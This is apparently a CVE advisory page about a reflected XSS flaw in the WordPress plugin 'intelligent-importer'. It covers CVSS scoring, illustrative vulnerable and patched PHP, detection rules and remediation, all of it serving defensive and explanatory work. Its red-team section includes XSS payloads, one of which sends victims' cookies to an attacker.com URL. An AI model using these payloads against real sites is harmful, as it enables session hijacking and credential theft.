CVE-2025-22775
Executive Summary
CVE-2025-22775 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Catalog Importer, Scraper & Crawler" (intelligent-importer) by idiatech. The vulnerability exists in versions up to and including 5.1.3. An attacker can inject arbitrary JavaScript into a web page via a crafted URL, which executes in the victim's browser when they click the link. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. Supply chain risks include plugin updates from untrusted sources or compromised update servers. Users should only download the plugin from the official WordPress plugin repository or the vendor's verified site.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. The vulnerability is easy to exploit (no authentication required) and can be used in phishing campaigns to compromise WordPress admin sessions.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the intelligent-importer plugin. The plugin fails to properly sanitize user-supplied input in certain URL parameters before reflecting it back in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the script executes in the context of the vulnerable WordPress site.
Root Cause: The plugin uses $_GET or $_REQUEST parameters directly in output without escaping or validating the input. For example, a parameter like ?search=<script>alert(1)</script> might be echoed back in the page without proper encoding.
Attack Vector: Reflected XSS via crafted URL. The attacker can send the link via email, social media, or other channels. The victim must be logged into the WordPress site for the attack to be effective (though not strictly required for XSS).
Vulnerable vs. Patched Code
Vulnerable Code (Example):
<?php
// In some template or function
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>
Patched Code (Expected):
<?php
$search = isset($_GET['search']) ? esc_html($_GET['search']) : '';
echo "<div>You searched for: " . $search . "</div>";
?>
The patched version uses esc_html() or htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with the vulnerable plugin (<=5.1.3).
- A web browser or tool like
curl.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
search,q,s). - Craft a payload:
<script>alert('XSS')</script>. - Send the victim a link:
http://target.com/?search=<script>alert('XSS')</script>. - When the victim clicks, the script executes.
Example Payload (Session Hijacking):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
No Exploit-DB code provided.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual URL parameters containing
<script>,onerror,javascript:, etc. - Use WAF rules to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers.
Hunting:
- Search for requests with
intelligent-importerin the URL path and suspicious query strings. - Look for
alert,prompt,confirmin HTTP responses.
Indicators of Compromise (IOCs)
- URL Patterns:
/?search=<script>,/?q=javascript:,/?s=onerror= - HTTP Response Body: Unescaped
<script>tags in the page source. - Referer Headers: Suspicious referrers from phishing emails.
- Log Entries:
GET /?search=<script>alert(1)</script>with 200 response.
Detection Engineering
YARA Rule
rule CVE_2025_22775_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against WordPress intelligent-importer plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22775"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$plugin_path = /intelligent-importer/
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against WordPress intelligent-importer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts in URL parameters targeting the intelligent-importer plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: 'intelligent-importer'
c-uri|contains|any:
- '<script'
- 'javascript:'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22775 Reflected XSS Attempt"; flow:to_server; content:"intelligent-importer"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
- Add CSP headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'.
Long-term Fix:
- The vendor (idiatech) must release a patched version (>=5.1.4) that properly escapes all user inputs.
- Users should update to the latest version once available.
- Conduct a security audit of the plugin code.
Workarounds:
- Use a security plugin like Wordfence to block malicious requests.
- Manually patch the vulnerable code by adding
esc_html()orhtmlspecialchars()to all reflected parameters.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.